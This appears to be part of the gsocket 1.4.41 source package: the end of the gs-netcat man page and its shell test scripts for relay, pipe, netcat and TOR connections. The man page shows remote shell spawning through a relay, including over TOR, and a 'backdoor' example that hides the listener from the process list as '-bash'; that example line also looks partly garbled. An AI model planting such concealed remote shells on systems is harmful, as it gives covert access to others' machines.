.It
Latency (in milliseconds) to the remote host
.It
Warning when a user logs into the system or becomes active
.It
Data throughput
.It
File transfer logs
.El
Type 'help' for a list of available commands.
.Sh FILETRANSFER
File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off.
The 'put' command is used for uploading:
.Dl put foobar.txt
.Dl put $HOME/foobar.txt
.Dl put /tmp/*.log
.Dl put $(find . -type f -name '*.c')
(The above example shows Shell Variable substitution and word expansion)
It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
.Dl put /foo/./bar/baz.c
That would create /tmp/bar/baz.c on the remote machine.
The 'get' command is used for downloading:
.Dl get foobar.txt
.Dl get $(find /var/./ -name '*.log')
Transferring a directory automatically transfers all files and directories within that directory (recursively):
.Dl get /var/log
.Dl get /
The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem.
Multiple get/put commands can be scheduled at the same time.
.Sh EXAMPLES
.Nm Example 1
- Listen for a new connection using the password 'MySecret':
.Dl $ gs-netcat -s MySecret -l
.Pp
Connect with client using the same password:
.Dl $ gs-netcat -s MySecret
.Pp
.Nm Example 2
- spawn a PTY login shell when a client connects:
.Dl $ gs-netcat -s MySecret -l -i
.Pp
Log in to server's interactive shell:
.Dl $ gs-netcat -s MySecret -i
.Pp
Log in via TOR:
.Dl $ gs-netcat -s MySecret -i -T
.Pp
Log in via a Socks5 Proxy:
.Dl $ export GSOCKET_SOCKS_IP=127.0.0.1
.Dl $ export GSOCKET_SOCKS_PORT=1080
.Dl $ gs-netcat -s MySecret -i -T
.Pp
.Nm Example 3
- Execute a command when a client connects:
.Dl $ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'
.Pp
Connect client to the server:
.Dl $ gs-netcat -s MySecret
.Pp
.Nm Example 4
- Pipe data from client to server:
.Dl $ gs-netcat -s MySecret -l -r >warez.tar.gz
.Pp
Client to read 'warez.tar.gz' and pipe it to the server.
.Dl $ gs-netcat -s MySecret /dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
.Pp
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list.
.Pp
Client to connect to the backdoor:
.Dl $ gs-netcat -s MySecret -i
.Sh ENVIRONMENT
The following environment variables can be set to control the behavior of
.Nm
.Pp
.Nm GSOCKET_SOCKS_IP
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
.Pp
.Nm GSOCKET_SOCKS_PORT
.Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
.Pp
.Nm GSOCKET_ARGS
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
.Sh SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
.Pp
.Dl $ gs-netcat -k
.Pp
.Dl $ export GSOCKET_ARGS="-s MySecret"
.Dl $ gs-netcat
.Pp
.Nm 1.
The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
.Pp
.Nm 2.
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
.Pp
.Nm 3.
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
.Pp
.Nm 4.
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
.Pp
.Nm 5.
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
.Pp
.Nm 6.
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
.Pp
.Nm 7.
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
.Sh NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr blitz(1) ,
.Xr nc(1) ,
.Xr socat(1)
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.41/tests/ 0000755 0001750 0001750 00000000000 14503376047 014317 5 ustar epsilon epsilon gsocket-1.4.41/tests/test_tcp_badconn.sh 0000755 0001750 0001750 00000005572 14503376047 020200 0 ustar epsilon epsilon #! /bin/bash
# Test script against test-gsrn to test flaky TCP connections and SSL:
# The script creates gs-netcat traffic and then at random intervals kills
# the connection. The TCP stream to test-gsrn server is also configured to
# introduce packet loss.
# cut & paste friendly to set up packet loss on test-gsrn:
: <<'__END_COMMENT__'
DEV=wlan0
tc qdisc add dev ${DEV} root netem loss 1%
tc qdisc change dev ${DEV} root netem corrupt 2%
tc qdisc change dev ${DEV} root netem duplicate 1%
#tc qdisc change dev ${DEV} root netem delay 50ms reorder 25%
tc qdisc change dev ${DEV} root netem delay 500ms reorder 25%
__END_COMMENT__
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CC="\033[1;36m" # cyan
CM="\033[1;35m" # magenta
CN="\033[0m" # none
[[ "$GSOCKET_IP" = *192\.168* ]] || { echo >&2 "No testing GSRN set: export GSOCKET_IP=\"192.168.x.x\"."; exit 255; }
[[ -z $GSOCKET_ARGS ]] && {
SECRET=$(../tools/gs-netcat -g)
export GSOCKET_ARGS="-s $SECRET"
echo "Start the GS listening process with:"
echo " GSOCKET_ARGS=\"-s $SECRET\" gs-netcat -l -e bash"
echo "Press Return to continue..."
read
}
# Wait until a process has termianted or kill it after SLEEP_WD seconds..
# waitkp []
waitkp()
{
local x
local sleep_wd
sleep_wd=$2
[[ -z $sleep_wd ]] && sleep_wd=10 # default is 10 seconds.
x=0;
rounds=`bc <<<"$sleep_wd / 0.1"`
while :; do
kill -0 $1 &>/dev/null
if [ $? -ne 0 ]; then
# Break if process is not running.
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo -e "${CR}Killing hanging process $1....${CN}"
kill -9 $1 &>/dev/null
}
run_timelimit()
{
local sec_wait
sec_wait=$1
shift;
sh -c "$*" >/dev/null &
# sh -c "$*" &
echo Started pid ${!}
waitkp ${!} $sec_wait
}
# run_timelimit 2 "sleep 5"
# echo foobar
# exit
i=0
while :; do
i=$((i+1))
echo -e "${CY}-----$(date)-----${CN}"
echo -e "${CG}Iteration #${i}.1${CN}"
run_timelimit 10 '{ sleep 4; echo "dd bs=1k count=8 if=/dev/urandom | openssl base64; exit"; sleep 2;} | ../tools/gs-netcat'
echo -e "${CG}Iteration #${i}.2${CN}"
# Getting an odd 'line 38: 12345 Killed: 9 sh -c "$*" output here
# is normal because we kill the 'sh -c' process (e.g. kills itself).
# This will also send sigpipe to '| ../tools/gs-netcat'.
run_timelimit 10 '{ echo "dd bs=1k count=8 if=/dev/urandom | openssl base64"; sleep 5; killall -9 gs-netcat;} | ../tools/gs-netcat'
# run_timelimit 10 '{ echo "dd bs=1k count=8 if=/dev/urandom | openssl base64"; sleep 5; kill -9 $$;} | ../tools/gs-netcat'
echo -e "${CG}Iteration #${i}.3${CN}"
run_timelimit 10 '{ echo "(dd bs=1k count=111256 if=/dev/urandom | openssl base64 ) & sleep 1.1; exit"; sleep 8; killall -9 gs-netcat;} | ../tools/gs-netcat'
done
gsocket-1.4.41/tests/run_gs_tests.sh 0000755 0001750 0001750 00000110445 14503376047 017402 0 ustar epsilon epsilon #! /bin/bash
#export GSOCKET_IP=127.0.0.1
#export GSOCKET_PORT=31337
# Simulate bad network
# https://medium.com/@docler/network-issues-simulation-how-to-test-against-bad-network-conditions-b28f651d8a96
# DEV=wlan0
# tc qdisc add dev ${DEV} root netem loss 1%
# tc qdisc change dev ${DEV} root netem corrupt 2%
# tc qdisc change dev ${DEV} root netem duplicate 1%
# tc qdisc change dev ${DEV} root netem delay 50ms reorder 25%
# # delete all after use:
# tc qdisc del dev ${DEV} root
# depend on: md5sum, rsync, netstat, netcat, dd, ssh, sshd
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CC="\033[1;36m" # cyan
CM="\033[1;35m" # magenta
CN="\033[0m" # none
# Debian packaging: Force CWD to ./tests/
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
cd "$BASEDIR"
# Sleep for connection time (CT). On localhost this can be 0.1
SLEEP_CT=0.5
if [ x"$GSOCKET_IP" == "x127.0.0.1" ]; then
SLEEP_CT=0.1
fi
if [[ -z $GS_PREFIX ]]; then
# User binaries from built-directory
GS_BINDIR="$(cd ${BASEDIR}/../tools || exit; pwd)"
else
GS_BINDIR="${GS_PREFIX}/bin"
fi
export PATH=${GS_BINDIR}:/usr/local/bin:$PATH
echo -e "${CY}*** ${CM}$(gs-netcat -h 2>&1 | grep ^Version)${CY} ***${CN}"
# printf "#! /bin/bash\nexec nc\n" >gs_nc
SLEEP_WD=20 # Max seconds to wait for a process to finish receiving...
command -v md5 >/dev/null 2>&1 && MD5(){ md5 -q "${1}" 2>/dev/null;}
command -v md5sum >/dev/null 2>&1 && MD5() { md5sum "${1}" 2>/dev/null | cut -f1 -d' ';}
command -v rsync >/dev/null 2>&1 || { echo >&2 "rsync not installed. apt-get install rsync."; exit 255; }
command -v netstat >/dev/null 2>&1 && { IS_HAVE_NETSTAT=1; }
# Use traditional netcat that supports "netcat -nlp" for cross-platform comp.
# on CentOS there is only nmap's netcat as 'nc' but we are expecting 'netcat()'.
if [[ "$(nc --version 2>&1)" =~ Ncat ]]; then
NC=nc
NC_EOF_ARG=" " #not empty
NC_LISTEN_ARG="-nlp"
else
# Try traditional netcat first.
if command -v netcat >/dev/null 2>&1; then
NC=netcat
else
if command -v nc >/dev/null 2>&1; then
NC=nc #cygwin
else
echo >&2 "netcat not installed. apt-get install netcat."; exit 255;
fi
fi
fi
# Different OSes use different netcats:
if [[ -z "$NC_EOF_ARG" ]]; then
# HERE: Not Ncat
if [[ $($NC --help 2>&1) =~ "close connection on EOF" ]]; then
NC_EOF_ARG="-c"
elif [[ $($NC --help 2>&1) =~ "w timeout" ]]; then
NC_EOF_ARG="-w2" # cygwin needs at least -w2 (-w1 fails at times)
elif [[ $($NC -h 2>&1) =~ "quit after EOF on" ]]; then
NC_EOF_ARG="-q1"
elif [[ -f /bin/busybox ]]; then
NC_EOF_ARG="-w5"
else
NC_EOF_ARG="-q1"
fi
fi
if [[ -z "$NC_LISTEN_ARG" ]]; then
if [[ $($NC --help 2>&1) =~ "source_port" ]]; then
# apple default : usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port]
# fbsd default : [-P proxy_username] [-p source_port] [-s source] [-T ToS]
# cygwin default: [-P proxy_username] [-p source_port] [-s source] [-T ToS]
NC_LISTEN_ARG="-nl"
else
NC_LISTEN_ARG="-nlp"
fi
fi
# Find out how to get file size
fsize() { stat -c%s "$1" 2>/dev/null || echo 0;}
stat -f%z /etc/hosts &>/dev/null && fsize() { stat -f%z "$1" 2>/dev/null || echo 0;}
export NC
export NC_EOF_ARG
export NC_LISTEN_ARG
export NC_LISTEN="${NC} ${NC_LISTEN_ARG}"
export NC_LISTEN_EOF="${NC} ${NC_LISTEN_ARG} ${NC_EOF_ARG}"
sleep 0.1 &>/dev/null || { echo >&2 "sleep not accepting 0.1. PATH set correct?"; exit 255; }
OK="......[\033[1;32mOK\033[0m]"
FAIL="[\033[1;31mFAILED\033[0m]"
SKIP="[\033[1;33mskipping\033[0m]"
ECHO="echo -e"
if [[ -n "$IS_HAVE_NETSTAT" ]]; then
NETSTATTCP(){ netstat -ant;}
[[ "$OSTYPE" == *"solaris"* ]] && NETSTATTCP(){ netstat -an -f inet; }
[[ "$OSTYPE" == *"BSD"* ]] && NETSTATTCP(){ netstat -an -f inet; }
else
echo >&2 "***** WARNING: netstat not found. Attempting anyway... *****"
fi
tests+=("1.1")
tests+=("2.1" "2.2")
tests+=("3.1")
tests+=("4.1" "4.2")
tests+=("5.1" "5.2" "5.3" "5.4")
# tests+=("5.5") # cleartext
tests+=("6.1" "6.2" "6.3" "6.4" "6.5" "6.6") # gs-netcat
# tests+=("6.7") # cleartext
tests+=("6.8") # TOR
tests+=("7.1" "7.2" "7.3" "7.4")
tests+=("8.1" "8.2" "8.3")
tests+=("9.1" "9.2" "9.3" "9.4")
tests+=("10.1") # blitz
tests+=("10.2" "10.3") # gs-sftp, gs-mount (uchroot)
tests+=("10.4") # gs-mount
tests+=("10.5") # gsocket nc
tests+=("10.5.1") # gsocket nc
tests+=("10.5.2") # gsocket nc
tests+=("10.6") # gsocket socat
tests+=("10.7") # gsocket ssh
[[ -n $1 ]] && tests=("$@")
mk_dummy()
{
# [ -f "$1" ] || dd bs=1024 count=$2 if=/dev/zero | tr '\000' '\101' >"$1" 2>/dev/null
[ -f "$1" ] || dd bs=1024 count=$2 if=/dev/urandom of="$1" 2>/dev/null
}
mk_dummy test1k.dat 1
mk_dummy test4k.dat 4
mk_dummy test50k.dat 50
mk_dummy test1M.dat 1024
mk_dummy test50Mx.dat 51200
if [[ -n "$QUICK" ]]; then
cp test50k.dat test50M.dat
else
cp test50Mx.dat test50M.dat
fi
echo "Fubar" >>test50M.dat # Make it an odd length
MD50MB="$(MD5 test50M.dat)"
MD1MB="$(MD5 test1M.dat)"
MDHELLOW="$(echo "Hello World" | MD5 /dev/stdin)"
test_start()
{
rm -f client_out.dat server_out.dat server_err.txt client_err.txt server[123]_out.dat client[12]_out.dat server[123]_err.txt client[12]_err.txt nc[123]_out.dat nc[123]_err.txt
[[ x"$1" != x ]] && $ECHO $*
# [[ -s id_sec.txt ]] || new_id
# Each test needs a new gsocket-secret or GSRN reports BAD-TOKEN.
new_id
}
fail()
{
$ECHO "${FAIL}"-$*
exit 255
}
skip()
{
$ECHO "${SKIP}" $*
}
# code file1 file2 pid-to-kill
md5fail()
{
[[ -n $4 ]] && [[ "$(MD5 ${2})" != "$(MD5 ${3})" ]] && { kill -9 $4 &>/dev/null; fail $1; }
[[ "$(MD5 ${2})" != "$(MD5 ${3})" ]] && fail $1
}
# Wait until a process has termianted or kill it after SLEEP_WD seconds..
waitkp()
{
local x
local rounds
x=0
rounds=$((SLEEP_WD * 10))
while :; do
kill -0 $1 &>/dev/null
if [ $? -ne 0 ]; then
# Break if process is not running.
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Killing hanging process...."
kill -9 $1 &>/dev/null
exit 255
}
waitk()
{
for p in $@; do
waitkp $p
done
}
# waitkpf
# Kill if file doesnt change for SLEEP_WD seconds or when PID
# has finished.
waitkpf()
{
local x
local rounds
local fz
local fz_old
x=0
fsz_old=0
rounds=$(($SLEEP_WD * 10))
while :; do
kill -0 $1 &>/dev/null
if [ $? -ne 0 ]; then
# Break if process is not running.
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
fz="$(fsize "$2")"
if [[ $fz -ne $fz_old ]]; then
fz_old=$fz
x=0
fi
done
echo "Killing hanging process....($2 did not change size for to long ($fz)"
kill -9 $1 &>/dev/null
exit 255
}
# Wait for 2 files to become identical...
waitf()
{
x=0;
rounds=$(($SLEEP_WD * 10))
while :; do
if [ "$(MD5 $1)" == "$(MD5 $2)" ]; then
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Oops. files not identical...."
}
# Wait for file to match has
waitfhash()
{
x=0;
rounds=$(($SLEEP_WD * 10))
while :; do
if [ "$(MD5 $1)" == "$2" ]; then
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Oops. files not identical...."
}
waittcp()
{
# If we do not have netstat then sleep in the hope that port opens and then
# return.
[[ -z "$IS_HAVE_NETSTAT" ]] && { sleep 1; return; }
x=0;
rounds=$(($SLEEP_WD * 10))
while :; do
NETSTATTCP 2>/dev/null | grep LISTEN | grep "$1" &>/dev/null
if [ $? -eq 0 ]; then
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Oops. TCP $1 not listening...."
}
sleep_ct()
{
sleep $SLEEP_CT
}
new_id()
{
# Create a random secret for all tests
../tools/gs-helloworld -g 2>/dev/null >id_sec.txt
}
# killall -9 gs-helloworld gs-pipe gs-full-pipe gs-netcat &>/dev/null
# [[ -f id_sec.txt ]] || new_id
if [[ " ${tests[*]} " =~ ' 1.1 ' ]]; then
### 1 - Hello World
test_start -n "Running: Hello World #1.1 ................................"
GSPID="$(sh -c '../tools/gs-helloworld -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
# sleep 0.5 required or otherwise kernel will send both strings in single
# tcp and that would result in a single read() call on other side.
sleep_ct && (echo "Hello World"; sleep 1; echo "That's the end") | ../tools/gs-helloworld -w -k id_sec.txt 2>client_err.txt >client_out.dat
waitk $GSPID
if [ "$(MD5 client_out.dat)" != "628eca04c4cb6c8f539381be1c5cd325" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 2.1 ' ]]; then
### 2 - Pipe
# Normal (server listening, client connecting)
test_start -n "Running: pipe #2.1 ......................................."
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
sleep_ct && ../tools/gs-pipe -k id_sec.txt client_err.txt >client_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 2.2 ' ]]; then
### Waiting client test
test_start -n "Running: pipe #2.2 (waiting for server)..................."
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct && ../tools/gs-pipe -k id_sec.txt -l 2>server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 3.1 ' ]]; then
### Impersonate 'listen'
test_start -n "Running: pipe #3.1 (auth token)..........................."
GS1PID="$(sh -c '../tools/gs-pipe -k id_sec.txt -l -a player-alice 2>server1_err.txt >server1_out.dat & echo ${!}')"
GS2PID="$(sh -c '../tools/gs-pipe -k id_sec.txt -l -a player-alice 2>server2_err.txt >server2_out.dat & echo ${!}')"
# Next server should not be allowed to listen (wrong -a key)
sleep_ct
../tools/gs-pipe -k id_sec.txt -l -a player-mallory 2>server3_err.txt >server3_out.dat
RET=$?
if [ $RET -ne 255 ]; then fail 1; fi
# Here: Two servers are still running...
../tools/gs-pipe -k id_sec.txt client_err.txt >client_out.dat
../tools/gs-pipe -k id_sec.txt client_err.txt >client_out.dat
waitk $GS1PID $GS2PID &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 server1_out.dat)" ]; then fail 2; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 server2_out.dat)" ]; then fail 3; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 4.1 ' ]]; then
### Client to become a server if no server is listening
test_start -n "Running: pipe #4.1 (become server if possible)............"
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -A server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
../tools/gs-pipe -k id_sec.txt -A client_err.txt >client_out.dat
waitk $GSPID
FC=0
[[ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]] && FC=$((FX+1))
[[ "$(MD5 test1k.dat)" != "$(MD5 client_out.dat)" ]] && FC=$((FX+1))
[[ "$FC" != 1 ]] && fail 1
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 4.2 ' ]]; then
# Client already waiting. 2nd client to become server (if no server available)
test_start -n "Running: pipe #4.2 (..while client waiting)..............."
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-pipe -k id_sec.txt -A 2>server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 5.1 ' ]]; then
test_start -n "Running: full-pipe #5.1..................................."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 5.2 ' ]]; then
test_start -n "Running: full-pipe #5.2 (50MB)............................"
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD50MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$MD50MB" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 5.3 ' ]]; then
test_start -n "Running: full-pipe #5.3 (assym sizes, large server)......."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
sleep 1
../tools/gs-full-pipe -A -k id_sec.txt client_err.txt >client_out.dat
waitk $GSPID &>/dev/null
# if [ "$MD50MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1M.dat)" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 5.4 ' ]]; then
test_start -n "Running: full-pipe #5.4 (assym sizes, small server)......."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
sleep 1
../tools/gs-full-pipe -A -k id_sec.txt client_err.txt >client_out.dat
waitk $GSPID &>/dev/null
# if [ "$MD50MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1M.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 5.5 ' ]]; then
test_start -n "Running: full-pipe #5.5 (assymetric sizes, clear)........."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -AC server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
../tools/gs-full-pipe -k id_sec.txt -AC client_err.txt >client_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.1 ' ]]; then
test_start -n "Running: netcat #6.1 (stdin, 1MB)........................."
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$MD1MB" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.2 ' ]]; then
test_start -n "Running: netcat #6.2 (stdin, assymetric sizes)............"
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
# if [ "$MD1MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
# if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.3 ' ]]; then
test_start -n "Running: netcat #6.3 (stdin, assym sizes, kill client)...."
GSPID1="$(sh -c '(cat test4k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
# sleep_ct
waitf test4k.dat server_out.dat
waitf test1k.dat client_out.dat
kill -9 $GSPID1 &>/dev/null
waitk $GSPID2
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.4 ' ]]; then
test_start -n "Running: netcat #6.4 (stdin, assym sizes, kill server)...."
GSPID1="$(sh -c '(cat test4k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
waitf test4k.dat server_out.dat
waitf test1k.dat client_out.dat
kill -9 $GSPID2 &>/dev/null
waitk $GSPID1
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.5 ' ]]; then
test_start -n "Running: netcat #6.5 (/dev/null C2S)......................"
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ -s server_out.dat ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.6 ' ]]; then
test_start -n "Running: netcat #6.6 (/dev/null S2C)......................"
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ -s client_out.dat ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.7 ' ]]; then
test_start -n "Running: netcat #6.7 (stdin, assymetric sizes, clear)....."
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -wC client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -lC server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 6.8 ' ]]; then
test_start -n "Running: netcat #6.8 (stdin, assymetric sizes, TOR)......."
if [[ "$GSOCKET_IP" =~ 192\.168\. ]]; then
skip "$GSOCKET_IP"
elif [[ -z "$IS_HAVE_NETSTAT" ]]; then
skip "(no netstat)"
elif ! NETSTATTCP 2>/dev/null | grep LISTEN | grep 9050 &>/dev/null; then
skip "(no TOR)"
else
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -wT client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 7.1 ' ]]; then
test_start -n "Running: netcat #7.1 (cmd, multi connect)................."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -e "echo Hello World && sleep 1" 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client2_err.txt >client2_out.dat & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client3_err.txt >client3_out.dat & echo ${!}')"
../tools//gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat
waitk $GSPID2 $GSPID3
kill -9 $GSPID1 &>/dev/null
if [ "${MDHELLOW}" != "$(MD5 client_out.dat)" ]; then fail 1; fi
